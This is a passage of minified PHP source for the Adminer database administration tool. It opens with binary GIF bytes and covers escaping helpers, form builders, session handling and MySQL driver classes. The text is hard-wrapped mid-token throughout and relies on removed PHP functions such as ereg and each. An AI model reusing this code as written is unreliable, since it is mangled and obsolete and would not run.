\0\0##\naFo~y.
_wa1J GL6]\0\0;"
;break;case"up.gif":echo
"GIF87a\0\0\0\0\0\
0\0\0\0\0,\0\0\0\0\0
\0\0 MQN\n}
a8yaŶ\0\0;";br
eak;case"down.gif":echo"
GIF87a\0\0\0\0\0\0
\0\0\0\0,\0\0\0\0\0
\0\0 M*)[W\\
L&ٜƶ\0\0;";bre
ak;case"arrow.gif":echo"
GIF89a\0\n\0\0\0
!\0\0\0,\0\0\0\0\0\
n\0\0iӲ޻\0\
0;";break;}}exit;}functi
on connection(){global$g
;return$g;}function admi
ner(){global$b;return$b;
}function idf_unescape($
Gc){$Zc=substr($Gc,-1);r
eturn str_replace($Zc.$Z
c,$Zc,substr($Gc,1,-1));
}function escape_string(
$X){return substr(q($X),
1,-1);}function remove_s
lashes($Ae,$jc=false){if
(get_magic_quotes_gpc())
{while(list($y,$X)=each(
$Ae)){foreach($X as$Tc=>
$W){unset($Ae[$y][$Tc]);
if(is_array($W)){$Ae[$y]
[stripslashes($Tc)]=$W;$
Ae[]=&$Ae[$y][stripslash
es($Tc)];}else$Ae[$y][st
ripslashes($Tc)]=($jc?$W
:stripslashes($W));}}}}f
unction bracket_escape($
Gc,$xa=false){static$Uf=
array(':'=>':1',']'=>':2
','['=>':3');return strt
r($Gc,($xa?array_flip($U
f):$Uf));}function h($qf
){return htmlspecialchar
s(str_replace("\0","",$q
f),ENT_QUOTES);}function
 nbsp($qf){return(trim($
qf)!=""?h($qf):"&nbsp;")
;}function nl_br($qf){re
turn str_replace("\n","<
br>",$qf);}function chec
kbox($E,$Y,$Ja,$Xc="",$Q
d="",$Ma=""){$K="<input 
type='checkbox' name='$E
' value='".h($Y)."'".($J
a?" checked":"").($Qd?' 
onclick="'.h($Qd).'"':''
).">";return($Xc!=""||$M
a?"<label".($Ma?" class=
'$Ma'":"").">$K".h($Xc).
"</label>":$K);}function
 optionlist($Td,$cf=null
,$ng=false){$K="";foreac
h($Td as$Tc=>$W){$Ud=arr
ay($Tc=>$W);if(is_array(
$W)){$K.='<optgroup labe
l="'.h($Tc).'">';$Ud=$W;
}foreach($Ud as$y=>$X)$K
.='<option'.($ng||is_str
ing($y)?' value="'.h($y)
.'"':'').(($ng||is_strin
g($y)?(string)$y:$X)===$
cf?' selected':'').'>'.h
($X);if(is_array($W))$K.
='</optgroup>';}return$K
;}function html_select($
E,$Td,$Y="",$Pd=true){if
($Pd)return"<select name
='".h($E)."'".(is_string
($Pd)?' onchange="'.h($P
d).'"':"").">".optionlis
t($Td,$Y)."</select>";$K
="";foreach($Td as$y=>$X
)$K.="<label><input type
='radio' name='".h($E)."
' value='".h($y)."'".($y
==$Y?" checked":"").">".
h($X)."</label>";return$
K;}function confirm($db=
""){return" onclick=\"re
turn confirm('".'Are you
 sure?'.($db?" (' + $db 
+ ')":"")."');\"";}funct
ion print_fieldset($t,$e
d,$tg=false,$Qd=""){echo
"<fieldset><legend><a hr
ef='#fieldset-$t' onclic
k=\"".h($Qd)."return !to
ggle('fieldset-$t');\">$
ed</a></legend><div id='
fieldset-$t'".($tg?"":" 
class='hidden'").">\n";}
function bold($Da){retur
n($Da?" class='active'":
"");}function odd($K=' c
lass="odd"'){static$s=0;
if(!$K)$s=-1;return($s++
%2?$K:'');}function js_e
scape($qf){return addcsl
ashes($qf,"\r\n'\\/");}f
unction json_row($y,$X=n
ull){static$kc=true;if($
kc)echo"{";if($y!=""){ec
ho($kc?"":",")."\n\t\"".
addcslashes($y,"\r\n\"\\
").'": '.($X!==null?'"'.
addcslashes($X,"\r\n\"\\
").'"':'undefined');$kc=
false;}else{echo"\n}\n";
$kc=true;}}function ini_
bool($Kc){$X=ini_get($Kc
);return(eregi('^(on|tru
e|yes)$',$X)||(int)$X);}
function sid(){static$K;
if($K===null)$K=(SID&&!(
$_COOKIE&&ini_bool("sess
ion.use_cookies")));retu
rn$K;}function q($qf){gl
obal$g;return$g->quote($
qf);}function get_vals($
I,$e=0){global$g;$K=arra
y();$J=$g->query($I);if(
is_object($J)){while($L=
$J->fetch_row())$K[]=$L[
$e];}return$K;}function 
get_key_vals($I,$h=null)
{global$g;if(!is_object(
$h))$h=$g;$K=array();$J=
$h->query($I);if(is_obje
ct($J)){while($L=$J->fet
ch_row())$K[$L[0]]=$L[1]
;}return$K;}function get
_rows($I,$h=null,$l="<p 
class='error'>"){global$
g;$Ya=(is_object($h)?$h:
$g);$K=array();$J=$Ya->q
uery($I);if(is_object($J
)){while($L=$J->fetch_as
soc())$K[]=$L;}elseif(!$
J&&!is_object($h)&&$l&&d
efined("PAGE_HEADER"))ec
ho$l.error()."\n";return
$K;}function unique_arra
y($L,$v){foreach($v as$u
){if(ereg("PRIMARY|UNIQU
E",$u["type"])){$K=array
();foreach($u["columns"]
as$y){if(!isset($L[$y]))
continue 2;$K[$y]=$L[$y]
;}return$K;}}}function w
here($Z,$n=array()){glob
al$x;$K=array();$uc='(^[
\w\(]+'.str_replace("_",
".*",preg_quote(idf_esca
pe("_"))).'\)+$)';foreac
h((array)$Z["where"]as$y
=>$X){$y=bracket_escape(
$y,1);$e=(preg_match($uc
,$y)?$y:idf_escape($y));
$K[]=$e.(($x=="sql"&&ere
g('^[0-9]*\\.[0-9]*$',$X
))||$x=="mssql"?" LIKE "
.q(addcslashes($X,"%_\\"
)):" = ".unconvert_field
($n[$y],q($X)));if($x=="
sql"&&ereg("[^ -@]",$X))
$K[]="$e = ".q($X)." COL
LATE utf8_bin";}foreach(
(array)$Z["null"]as$y)$K
[]=(preg_match($uc,$y)?$
y:idf_escape($y))." IS N
ULL";return implode(" AN
D ",$K);}function where_
check($X,$n=array()){par
se_str($X,$Ia);remove_sl
ashes(array(&$Ia));retur
n where($Ia,$n);}functio
n where_link($s,$e,$Y,$R
d="="){return"&where%5B$
s%5D%5Bcol%5D=".urlencod
e($e)."&where%5B$s%5D%5B
op%5D=".urlencode(($Y!==
null?$Rd:"IS NULL"))."&w
here%5B$s%5D%5Bval%5D=".
urlencode($Y);}function 
convert_fields($f,$n,$N=
array()){$K="";foreach($
f as$y=>$X){if($N&&!in_a
rray(idf_escape($y),$N))
continue;$sa=convert_fie
ld($n[$y]);if($sa)$K.=",
 $sa AS ".idf_escape($y)
;}return$K;}function coo
kie($E,$Y){global$ba;$ge
=array($E,(ereg("\n",$Y)
?"":$Y),time()+2592000,p
reg_replace('~\\?.*~',''
,$_SERVER["REQUEST_URI"]
),"",$ba);if(version_com
pare(PHP_VERSION,'5.2.0'
)>=0)$ge[]=true;return c
all_user_func_array('set
cookie',$ge);}function r
estart_session(){if(!ini
_bool("session.use_cooki
es"))session_start();}fu
nction stop_session(){if
(!ini_bool("session.use_
cookies"))session_write_
close();}function&get_se
ssion($y){return$_SESSIO
N[$y][DRIVER][SERVER][$_
GET["username"]];}functi
on set_session($y,$X){$_
SESSION[$y][DRIVER][SERV
ER][$_GET["username"]]=$
X;}function auth_url($yb
,$O,$V,$k=null){global$z
b;preg_match('~([^?]*)\\
??(.*)~',remove_from_uri
(implode("|",array_keys(
$zb))."|username|".($k!=
=null?"db|":"").session_
name()),$B);return"$B[1]
?".(sid()?SID."&":"").($
yb!="server"||$O!=""?url
encode($yb)."=".urlencod
e($O)."&":"")."username=
".urlencode($V).($k!=""?
"&db=".urlencode($k):"")
.($B[2]?"&$B[2]":"");}fu
nction is_ajax(){return(
$_SERVER["HTTP_X_REQUEST
ED_WITH"]=="XMLHttpReque
st");}function redirect(
$A,$C=null){if($C!==null
){restart_session();$_SE
SSION["messages"][preg_r
eplace('~^[^?]*~','',($A
!==null?$A:$_SERVER["REQ
UEST_URI"]))][]=$C;}if($
A!==null){if($A=="")$A="
.";header("Location: $A"
);exit;}}function query_
redirect($I,$A,$C,$Ge=tr
ue,$Xb=true,$dc=false){g
lobal$g,$l,$b;$Kf="";if(
$Xb){$mf=microtime();$dc
=!$g->query($I);$Kf="; -
- ".format_time($mf,micr
otime());}$lf="";if($I)$
lf=$b->messageQuery($I.$
Kf);if($dc){$l=error().$
lf;return false;}if($Ge)
redirect($A,$C.$lf);retu
rn true;}function querie
s($I=null){global$g;stat
ic$De=array();if($I===nu
ll)return implode("\n",$
De);$mf=microtime();$K=$
g->query($I);$De[]=(ereg
(';$',$I)?"DELIMITER ;;\
n$I;\nDELIMITER ":$I).";
 -- ".format_time($mf,mi
crotime());return$K;}fun
ction apply_queries($I,$
S,$Sb='table'){foreach($
S as$Q){if(!queries("$I 
".$Sb($Q)))return false;
}return true;}function q
ueries_redirect($A,$C,$G
e){return query_redirect
(queries(),$A,$C,$Ge,fal
se,!$Ge);}function forma
t_time($mf,$Mb){return s
printf('%.3f s',max(0,ar
ray_sum(explode(" ",$Mb)
)-array_sum(explode(" ",
$mf))));}function remove
_from_uri($fe=""){return
 substr(preg_replace("~(
?<=[?&])($fe".(SID?"":"|
".session_name()).")=[^&
]*&~",'',"$_SERVER[REQUE
ST_URI]&"),0,-1);}functi
on pagination($F,$hb){re
turn" ".($F==$hb?$F+1:'<
a href="'.h(remove_from_
uri("page").($F?"&page=$
F":"")).'">'.($F+1)."</a
>");}function get_file($
y,$ob=false){$hc=$_FILES
[$y];if(!$hc)return null
;foreach($hc as$y=>$X)$h
c[$y]=(array)$X;$K='';fo
reach($hc["error"]as$y=>
$l){if($l)return$l;$E=$h
c["name"][$y];$Rf=$hc["t
mp_name"][$y];$Za=file_g
et_contents($ob&&ereg('\
\.gz$',$E)?"compress.zli
b://$Rf":$Rf);if($ob){$m
f=substr($Za,0,3);if(fun
ction_exists("iconv")&&e
reg("^\xFE\xFF|^\xFF\xFE
",$mf,$Ne))$Za=iconv("ut
f-16","utf-8",$Za);elsei
f($mf=="\xEF\xBB\xBF")$Z
a=substr($Za,3);}$K.=$Za
."\n\n";}return$K;}funct
ion upload_error($l){$qd
=($l==UPLOAD_ERR_INI_SIZ
E?ini_get("upload_max_fi
lesize"):0);return($l?'U
nable to upload a file.'
.($qd?" ".sprintf('Maxim
um allowed file size is 
%sB.',$qd):""):'File doe
s not exist.');}function
 repeat_pattern($G,$fd){
return str_repeat("$G{0,
65535}",$fd/65535)."$G{0
,".($fd%65535)."}";}func
tion is_utf8($X){return(
preg_match('~~u',$X)&&!p
reg_match('~[\\0-\\x8\\x
B\\xC\\xE-\\x1F]~',$X));
}function shorten_utf8($
qf,$fd=80,$uf=""){if(!pr
eg_match("(^(".repeat_pa
ttern("[\t\r\n -\x{FFFF}
]",$fd).")($)?)u",$qf,$B
))preg_match("(^(".repea
t_pattern("[\t\r\n -~]",
$fd).")($)?)",$qf,$B);re
turn h($B[1]).$uf.(isset
($B[2])?"":"<i>...</i>")
;}function friendly_url(
$X){return preg_replace(
'~[^a-z0-9_]~i','-',$X);
}function hidden_fields(
$Ae,$Hc=array()){while(l
ist($y,$X)=each($Ae)){if
(is_array($X)){foreach($
X as$Tc=>$W)$Ae[$y."[$Tc
]"]=$W;}elseif(!in_array
($y,$Hc))echo'<input typ
e="hidden" name="'.h($y)
.'" value="'.h($X).'">';
}}function hidden_fields
_get(){echo(sid()?'<inpu
t type="hidden" name="'.
session_name().'" value=
"'.h(session_id()).'">':
''),(SERVER!==null?'<inp
ut type="hidden" name="'
.DRIVER.'" value="'.h(SE
RVER).'">':""),'<input t
ype="hidden" name="usern
ame" value="'.h($_GET["u
sername"]).'">';}functio
n table_status1($Q,$ec=f
alse){$K=table_status($Q
,$ec);return($K?$K:array
("Name"=>$Q));}function 
column_foreign_keys($Q){
global$b;$K=array();fore
ach($b->foreignKeys($Q)a
s$o){foreach($o["source"
]as$X)$K[$X][]=$o;}retur
n$K;}function enum_input
($U,$ua,$m,$Y,$Lb=null){
global$b;preg_match_all(
"~'((?:[^']|'')*)'~",$m[
"length"],$ld);$K=($Lb!=
=null?"<label><input typ
e='$U'$ua value='$Lb'".(
(is_array($Y)?in_array($
Lb,$Y):$Y===0)?" checked
":"")."><i>".'empty'."</
i></label>":"");foreach(
$ld[1]as$s=>$X){$X=strip
cslashes(str_replace("''
","'",$X));$Ja=(is_int($
Y)?$Y==$s+1:(is_array($Y
)?in_array($s+1,$Y):$Y==
=$X));$K.=" <label><inpu
t type='$U'$ua value='".
($s+1)."'".($Ja?' checke
d':'').'>'.h($b->editVal
($X,$m)).'</label>';}ret
urn$K;}function input($m
,$Y,$q){global$g,$cg,$b,
$x;$E=h(bracket_escape($
m["field"]));echo"<td cl
ass='function'>";$Pe=($x
=="mssql"&&$m["auto_incr
ement"]);if($Pe&&!$_POST
["save"])$q=null;$vc=(is
set($_GET["select"])||$P
e?array("orig"=>'origina
l'):array())+$b->editFun
ctions($m);$ua=" name='f
ields[$E]'";if($m["type"
]=="enum")echo nbsp($vc[
""])."<td>".$b->editInpu
t($_GET["edit"],$m,$ua,$
Y);else{$kc=0;foreach($v
c as$y=>$X){if($y===""||
!$X)break;$kc++;}$Pd=($k
c?" onchange=\"var f = t
his.form['function[".h(j
s_escape(bracket_escape(
$m["field"])))."]']; if 
($kc > f.selectedIndex) 
f.selectedIndex = $kc;\"
":"");$ua.=$Pd;echo(coun
t($vc)>1?html_select("fu
nction[$E]",$vc,$q===nul
l||in_array($q,$vc)||iss
et($vc[$q])?$q:"","funct
ionChange(this);"):nbsp(
reset($vc))).'<td>';$Mc=
$b->editInput($_GET["edi
t"],$m,$ua,$Y);if($Mc!="
")echo$Mc;elseif($m["typ
e"]=="set"){preg_match_a
ll("~'((?:[^']|'')*)'~",
$m["length"],$ld);foreac
h($ld[1]as$s=>$X){$X=str
ipcslashes(str_replace("
''","'",$X));$Ja=(is_int
($Y)?($Y>>$s)&1:in_array
($X,explode(",",$Y),true
));echo" <label><input t
ype='checkbox' name='fie
lds[$E][$s]' value='".(1
<<$s)."'".($Ja?' checked
':'')."$Pd>".h($b->editV
al($X,$m)).'</label>';}}
elseif(ereg('blob|bytea|
raw|file',$m["type"])&&i
ni_bool("file_uploads"))
echo"<input type='file' 
name='fields-$E'$Pd>";el
seif(($If=ereg('text|lob
',$m["type"]))||ereg("\n
",$Y)){if($If&&$x!="sqli
te")$ua.=" cols='50' row
s='12'";else{$M=min(12,s
ubstr_count($Y,"\n")+1);
$ua.=" cols='30' rows='$
M'".($M==1?" style='heig
ht: 1.2em;'":"");}echo"<
textarea$ua>".h($Y).'</t
extarea>';}else{$sd=(!er
eg('int',$m["type"])&&pr
eg_match('~^(\\d+)(,(\\d
+))?$~',$m["length"],$B)
?((ereg("binary",$m["typ
e"])?2:1)*$B[1]+($B[3]?1
:0)+($B[2]&&!$m["unsigne
d"]?1:0)):($cg[$m["type"
]]?$cg[$m["type"]]+($m["
unsigned"]?0:1):0));if($
x=='sql'&&$g->server_inf
o>=5.6&&ereg('time',$m["
type"]))$sd+=7;echo"<inp
ut".(ereg('int',$m["type
"])?" type='number'":"")
." value='".h($Y)."'".($
sd?" maxlength='$sd'":""
).(ereg('char|binary',$m
["type"])&&$sd>20?" size
='40'":"")."$ua>";}}}fun
ction process_input($m){
global$b;$Gc=bracket_esc
ape($m["field"]);$q=$_PO
ST["function"][$Gc];$Y=$
_POST["fields"][$Gc];if(
$m["type"]=="enum"){if($
Y==-1)return false;if($Y
=="")return"NULL";return
+$Y;}if($m["auto_increme
nt"]&&$Y=="")return null
;if($q=="orig")return($m
["on_update"]=="CURRENT_
TIMESTAMP"?idf_escape($m
["field"]):false);if($q=
="NULL")return"NULL";if(
$m["type"]=="set")return
 array_sum((array)$Y);if
(ereg('blob|bytea|raw|fi
le',$m["type"])&&ini_boo
l("file_uploads")){$hc=g
et_file("fields-$Gc");if
(!is_string($hc))return 
false;return q($hc);}ret
urn$b->processInput($m,$
Y,$q);}function search_t
ables(){global$b,$g;$_GE
T["where"][0]["op"]="LIK
E %%";$_GET["where"][0][
"val"]=$_POST["query"];$
pc=false;foreach(table_s
tatus('',true)as$Q=>$R){
$E=$b->tableName($R);if(
isset($R["Engine"])&&$E!
=""&&(!$_POST["tables"]|
|in_array($Q,$_POST["tab
les"]))){$J=$g->query("S
ELECT".limit("1 FROM ".t
able($Q)," WHERE ".implo
de(" AND ",$b->selectSea
rchProcess(fields($Q),ar
ray())),1));if(!$J||$J->
fetch_row()){if(!$pc){ec
ho"<ul>\n";$pc=true;}ech
o"<li>".($J?"<a href='".
h(ME."select=".urlencode
($Q)."&where[0][op]=".ur
lencode($_GET["where"][0
]["op"])."&where[0][val]
=".urlencode($_GET["wher
e"][0]["val"]))."'>$E</a
>\n":"$E: <span class='e
rror'>".error()."</span>
\n");}}}echo($pc?"</ul>"
:"<p class='message'>".'
No tables.')."\n";}funct
ion dump_headers($Fc,$zd
=false){global$b;$K=$b->
dumpHeaders($Fc,$zd);$de
=$_POST["output"];if($de
!="text")header("Content
-Disposition: attachment
; filename=".$b->dumpFil
ename($Fc).".$K".($de!="
file"&&!ereg('[^0-9a-z]'
,$de)?".$de":""));sessio
n_write_close();ob_flush
();flush();return$K;}fun
ction dump_csv($L){forea
ch($L as$y=>$X){if(preg_
match("~[\"\n,;\t]~",$X)
||$X==="")$L[$y]='"'.str
_replace('"','""',$X).'"
';}echo implode(($_POST[
"format"]=="csv"?",":($_
POST["format"]=="tsv"?"\
t":";")),$L)."\r\n";}fun
ction apply_sql_function
($q,$e){return($q?($q=="
unixepoch"?"DATETIME($e,
 '$q')":($q=="count dist
inct"?"COUNT(DISTINCT ":
strtoupper("$q("))."$e)"
):$e);}function password
_file($i){$vb=ini_get("u
pload_tmp_dir");if(!$vb)
{if(function_exists('sys
_get_temp_dir'))$vb=sys_
get_temp_dir();else{$ic=
@tempnam("","");if(!$ic)
return false;$vb=dirname
($ic);unlink($ic);}}$ic=
"$vb/adminer.key";$K=@fi
le_get_contents($ic);if(
$K||!$i)return$K;$rc=@fo
pen($ic,"w");if($rc){$K=
md5(uniqid(mt_rand(),tru
e));fwrite($rc,$K);fclos
e($rc);}return$K;}functi
on is_mail($Ib){$ta='[-a
-z0-9!#$%&\'*+/=?^_`{|}~
]';$xb='[a-z0-9]([-a-z0-
9]{0,61}[a-z0-9])';$G="$
ta+(\\.$ta+)*@($xb?\\.)+
$xb";return preg_match("
(^$G(,\\s*$G)*\$)i",$Ib)
;}function is_url($qf){$
xb='[a-z0-9]([-a-z0-9]{0
,61}[a-z0-9])';return(pr
eg_match("~^(https?)://(
$xb?\\.)+$xb(:\\d+)?(/.*
)?(\\?.*)?(#.*)?\$~i",$q
f,$B)?strtolower($B[1]):
"");}function is_shortab
le($m){return ereg('char
|text|lob|geometry|point
|linestring|polygon',$m[
"type"]);}function slow_
query($I){global$b,$T;$k
=$b->database();if(suppo
rt("kill")&&is_object($h
=connect())&&($k==""||$h
->select_db($k))){$Vc=$h
->result("SELECT CONNECT
ION_ID()");echo'<script 
type="text/javascript"> 
var timeout = setTimeout
(function () {  ajax(\''
,js_escape(ME),'script=k
ill\', function () {  },
 \'token=',$T,'&kill=',$
Vc,'\'); }, ',1000*$b->q
ueryTimeout(),'); </scri
pt> ';}else$h=null;ob_fl
ush();flush();$K=@get_ke
y_vals($I,$h);if($h){ech
o"<script type='text/jav
ascript'>clearTimeout(ti
meout);</script>\n";ob_f
lush();flush();}return a
rray_keys($K);}function 
lzw_decompress($Aa){$ub=
256;$Ba=8;$Oa=array();$Q
e=0;$Re=0;for($s=0;$s<st
rlen($Aa);$s++){$Qe=($Qe
<<8)+ord($Aa[$s]);$Re+=8
;if($Re>=$Ba){$Re-=$Ba;$
Oa[]=$Qe>>$Re;$Qe&=(1<<$
Re)-1;$ub++;if($ub>>$Ba)
$Ba++;}}$tb=range("\0","
\xFF");$K="";foreach($Oa
 as$s=>$Na){$Hb=$tb[$Na]
;if(!isset($Hb))$Hb=$xg.
$xg[0];$K.=$Hb;if($s)$tb
[]=$xg.$Hb[0];$xg=$Hb;}r
eturn$K;}global$b,$g,$zb
,$Fb,$Pb,$l,$vc,$zc,$ba,
$Lc,$x,$ca,$Yc,$Od,$oe,$
rf,$T,$Wf,$cg,$jg,$ga;if
(!$_SERVER["REQUEST_URI"
])$_SERVER["REQUEST_URI"
]=$_SERVER["ORIG_PATH_IN
FO"];if(!strpos($_SERVER
["REQUEST_URI"],'?')&&$_
SERVER["QUERY_STRING"]!=
"")$_SERVER["REQUEST_URI
"].="?$_SERVER[QUERY_STR
ING]";$ba=$_SERVER["HTTP
S"]&&strcasecmp($_SERVER
["HTTPS"],"off");@ini_se
t("session.use_trans_sid
",false);if(!defined("SI
D")){session_name("admin
er_sid");$ge=array(0,pre
g_replace('~\\?.*~','',$
_SERVER["REQUEST_URI"]),
"",$ba);if(version_compa
re(PHP_VERSION,'5.2.0')>
=0)$ge[]=true;call_user_
func_array('session_set_
cookie_params',$ge);sess
ion_start();}remove_slas
hes(array(&$_GET,&$_POST
,&$_COOKIE),$jc);if(func
tion_exists("set_magic_q
uotes_runtime"))set_magi
c_quotes_runtime(false);
@set_time_limit(0);@ini_
set("zend.ze1_compatibil
ity_mode",false);@ini_se
t("precision",20);functi
on get_lang(){return'en'
;}function lang($Vf,$Fd=
null){if(is_array($Vf)){
$qe=($Fd==1?0:1);$Vf=$Vf
[$qe];}$Vf=str_replace("
%d","%s",$Vf);$Fd=number
_format($Fd,0,".",',');r
eturn sprintf($Vf,$Fd);}
if(extension_loaded('pdo
')){class Min_PDO extend
s PDO{var$_result,$serve
r_info,$affected_rows,$e
rrno,$error;function __c
onstruct(){global$b;$qe=
array_search("SQL",$b->o
perators);if($qe!==false
)unset($b->operators[$qe
]);}function dsn($Cb,$V,
$ne,$Wb='auth_error'){se
t_exception_handler($Wb)
;parent::__construct($Cb
,$V,$ne);restore_excepti
on_handler();$this->setA
ttribute(13,array('Min_P
DOStatement'));$this->se
rver_info=$this->getAttr
ibute(4);}function query
($I,$dg=false){$J=parent
::query($I);$this->error
="";if(!$J){list(,$this-
>errno,$this->error)=$th
is->errorInfo();return f
alse;}$this->store_resul
t($J);return$J;}function
 multi_query($I){return$
this->_result=$this->que
ry($I);}function store_r
esult($J=null){if(!$J){$
J=$this->_result;if(!$J)
return false;}if($J->col
umnCount()){$J->num_rows
=$J->rowCount();return$J
;}$this->affected_rows=$
J->rowCount();return tru
e;}function next_result(
){if(!$this->_result)ret
urn false;$this->_result
->_offset=0;return@$this
->_result->nextRowset();
}function result($I,$m=0
){$J=$this->query($I);if
(!$J)return false;$L=$J-
>fetch();return$L[$m];}}
class Min_PDOStatement e
xtends PDOStatement{var$
_offset=0,$num_rows;func
tion fetch_assoc(){retur
n$this->fetch(2);}functi
on fetch_row(){return$th
is->fetch(3);}function f
etch_field(){$L=(object)
$this->getColumnMeta($th
is->_offset++);$L->orgta
ble=$L->table;$L->orgnam
e=$L->name;$L->charsetnr
=(in_array("blob",(array
)$L->flags)?63:0);return
$L;}}}$zb=array();$zb=ar
ray("server"=>"MySQL")+$
zb;if(!defined("DRIVER")
){$te=array("MySQLi","My
SQL","PDO_MySQL");define
("DRIVER","server");if(e
xtension_loaded("mysqli"
)){class Min_DB extends 
MySQLi{var$extension="My
SQLi";function Min_DB(){
parent::init();}function
 connect($O,$V,$ne){mysq
li_report(MYSQLI_REPORT_
OFF);list($Dc,$pe)=explo
de(":",$O,2);$K=@$this->
real_connect(($O!=""?$Dc
:ini_get("mysqli.default
_host")),($O.$V!=""?$V:i
ni_get("mysqli.default_u
ser")),($O.$V.$ne!=""?$n
e:ini_get("mysqli.defaul
t_pw")),null,(is_numeric
($pe)?$pe:ini_get("mysql
i.default_port")),(!is_n
umeric($pe)?$pe:null));i
f($K){if(method_exists($
this,'set_charset'))$thi
s->set_charset("utf8");e
lse$this->query("SET NAM
ES utf8");}return$K;}fun
ction result($I,$m=0){$J
=$this->query($I);if(!$J
)return false;$L=$J->fet
ch_array();return$L[$m];
}function quote($qf){ret
urn"'".$this->escape_str
ing($qf)."'";}}}elseif(e
xtension_loaded("mysql")
&&!(ini_get("sql.safe_mo
de")&&extension_loaded("
pdo_mysql"))){class Min_
DB{var$extension="MySQL"
,$server_info,$affected_
rows,$errno,$error,$_lin
k,$_result;function conn
ect($O,$V,$ne){$this->_l
ink=@mysql_connect(($O!=
""?$O:ini_get("mysql.def
ault_host")),("$O$V"!=""
?$V:ini_get("mysql.defau
lt_user")),("$O$V$ne"!="
"?$ne:ini_get("mysql.def
ault_password")),true,13
1072);if($this->_link){$
this->server_info=mysql_
get_server_info($this->_
link);if(function_exists
('mysql_set_charset'))my
sql_set_charset("utf8",$
this->_link);else$this->
query("SET NAMES utf8");
}else$this->error=mysql_
error();return(bool)$thi
s->_link;}function quote
($qf){return"'".mysql_re
al_escape_string($qf,$th
is->_link)."'";}function
 select_db($kb){return m
ysql_select_db($kb,$this
->_link);}function query
($I,$dg=false){$J=@($dg?
mysql_unbuffered_query($
I,$this->_link):mysql_qu
ery($I,$this->_link));$t
his->error="";if(!$J){$t
his->errno=mysql_errno($
this->_link);$this->erro
r=mysql_error($this->_li
nk);return false;}if($J=
==true){$this->affected_
rows=mysql_affected_rows
($this->_link);$this->in
fo=mysql_info($this->_li
nk);return true;}return 
new Min_Result($J);}func
tion multi_query($I){ret
urn$this->_result=$this-
>query($I);}function sto
re_result(){return$this-
>_result;}function next_
result(){return false;}f
unction result($I,$m=0){
$J=$this->query($I);if(!
$J||!$J->num_rows)return
 false;return mysql_resu
lt($J->_result,0,$m);}}c
lass Min_Result{var$num_
rows,$_result,$_offset=0
;function Min_Result($J)
{$this->_result=$J;$this
->num_rows=mysql_num_row
s($J);}function fetch_as
soc(){return mysql_fetch
_assoc($this->_result);}
function fetch_row(){ret
urn mysql_fetch_row($thi
s->_result);}function fe
tch_field(){$K=mysql_fet
ch_field($this->_result,
$this->_offset++);$K->or
gtable=$K->table;$K->org
name=$K->name;$K->charse
tnr=($K->blob?63:0);retu
rn$K;}function __destruc
t(){mysql_free_result($t
his->_result);}}}elseif(
extension_loaded("pdo_my
sql")){class Min_DB exte
nds Min_PDO{var$extensio
n="PDO_MySQL";function c
onnect($O,$V,$ne){$this-
>dsn("mysql:host=".str_r
eplace(":",";unix_socket
=",preg_replace('~:(\\d)
~',';port=\\1',$O)),$V,$
ne);$this->query("SET NA
MES utf8");return true;}
function select_db($kb){
return$this->query("USE 
".idf_escape($kb));}func
tion query($I,$dg=false)
{$this->setAttribute(100
0,!$dg);return parent::q
uery($I,$dg);}}}function
 idf_escape($Gc){return"
`".str_replace("`","``",
$Gc)."`";}function table
($Gc){return idf_escape(
$Gc);}function connect()
{global$b;$g=new Min_DB;
$gb=$b->credentials();if
($g->connect($gb[0],$gb[
1],$gb[2])){$g->query("S
ET sql_quote_show_create
 = 1, autocommit = 1");r
eturn$g;}$K=$g->error;if
(function_exists('iconv'
)&&!is_utf8($K)&&strlen(
$Ye=iconv("windows-1250"
,"utf-8",$K))>strlen($K)
)$K=$Ye;return$K;}functi
on get_databases($lc){gl
obal$g;$K=get_session("d
bs");if($K===null){$I=($
g->server_info>=5?"SELEC
T SCHEMA_NAME FROM infor
mation_schema.SCHEMATA":
"SHOW DATABASES");$K=($l
c?slow_query($I):get_val
s($I));restart_session()
;set_session("dbs",$K);s
top_session();}return$K;
}function limit($I,$Z,$z
,$Hd=0,$ef=" "){return" 
$I$Z".($z!==null?$ef."LI
MIT $z".($Hd?" OFFSET $H
d":""):"");}function lim
it1($I,$Z){return limit(
$I,$Z,1);}function db_co
llation($k,$d){global$g;
$K=null;$i=$g->result("S
HOW CREATE DATABASE ".id
f_escape($k),1);if(preg_
match('~ COLLATE ([^ ]+)
~',$i,$B))$K=$B[1];elsei
f(preg_match('~ CHARACTE
R SET ([^ ]+)~',$i,$B))$
K=$d[$B[1]][-1];return$K
;}function engines(){$K=
array();foreach(get_rows
("SHOW ENGINES")as$L){if
(ereg("YES|DEFAULT",$L["
Support"]))$K[]=$L["Engi
ne"];}return$K;}function
 logged_user(){global$g;
return$g->result("SELECT
 USER()");}function tabl
es_list(){global$g;retur
n get_key_vals("SHOW".($
g->server_info>=5?" FULL
":"")." TABLES");}functi
on count_tables($j){$K=a
rray();foreach($j as$k)$
K[$k]=count(get_vals("SH
OW TABLES IN ".idf_escap
e($k)));return$K;}functi
on table_status($E="",$e
c=false){global$g;$K=arr
ay();foreach(get_rows($e
c&&$g->server_info>=5?"S
ELECT TABLE_NAME AS Name
, Engine, TABLE_COMMENT 
AS Comment FROM informat
ion_schema.TABLES WHERE 
TABLE_SCHEMA = DATABASE(
) ".($E!=""?"AND TABLE_N
AME = ".q($E):"ORDER BY 
Name"):"SHOW TABLE STATU
S".($E!=""?" LIKE ".q(ad
dcslashes($E,"%_\\")):""
))as$L){if($L["Engine"]=
="InnoDB")$L["Comment"]=
preg_replace('~(?:(.+); 
)?InnoDB free: .*~','\\1
',$L["Comment"]);if(!iss
et($L["Engine"]))$L["Com
ment"]="";if($E!="")retu
rn$L;$K[$L["Name"]]=$L;}
return$K;}function is_vi
ew($R){return$R["Engine"
]===null;}function fk_su
pport($R){return eregi("
InnoDB|IBMDB2I",$R["Engi
ne"]);}function fields($
Q){$K=array();foreach(ge
t_rows("SHOW FULL COLUMN
S FROM ".table($Q))as$L)
{preg_match('~^([^( ]+)(
?:\\((.+)\\))?( unsigned
)?( zerofill)?$~',$L["Ty
pe"],$B);$K[$L["Field"]]
=array("field"=>$L["Fiel
d"],"full_type"=>$L["Typ
e"],"type"=>$B[1],"lengt
h"=>$B[2],"unsigned"=>lt
rim($B[3].$B[4]),"defaul
t"=>($L["Default"]!=""||
ereg("char|set",$B[1])?$
L["Default"]:null),"null
"=>($L["Null"]=="YES"),"
auto_increment"=>($L["Ex
tra"]=="auto_increment")
,"on_update"=>(eregi('^o
n update (.+)',$L["Extra
"],$B)?$B[1]:""),"collat
ion"=>$L["Collation"],"p
rivileges"=>array_flip(e
xplode(",",$L["Privilege
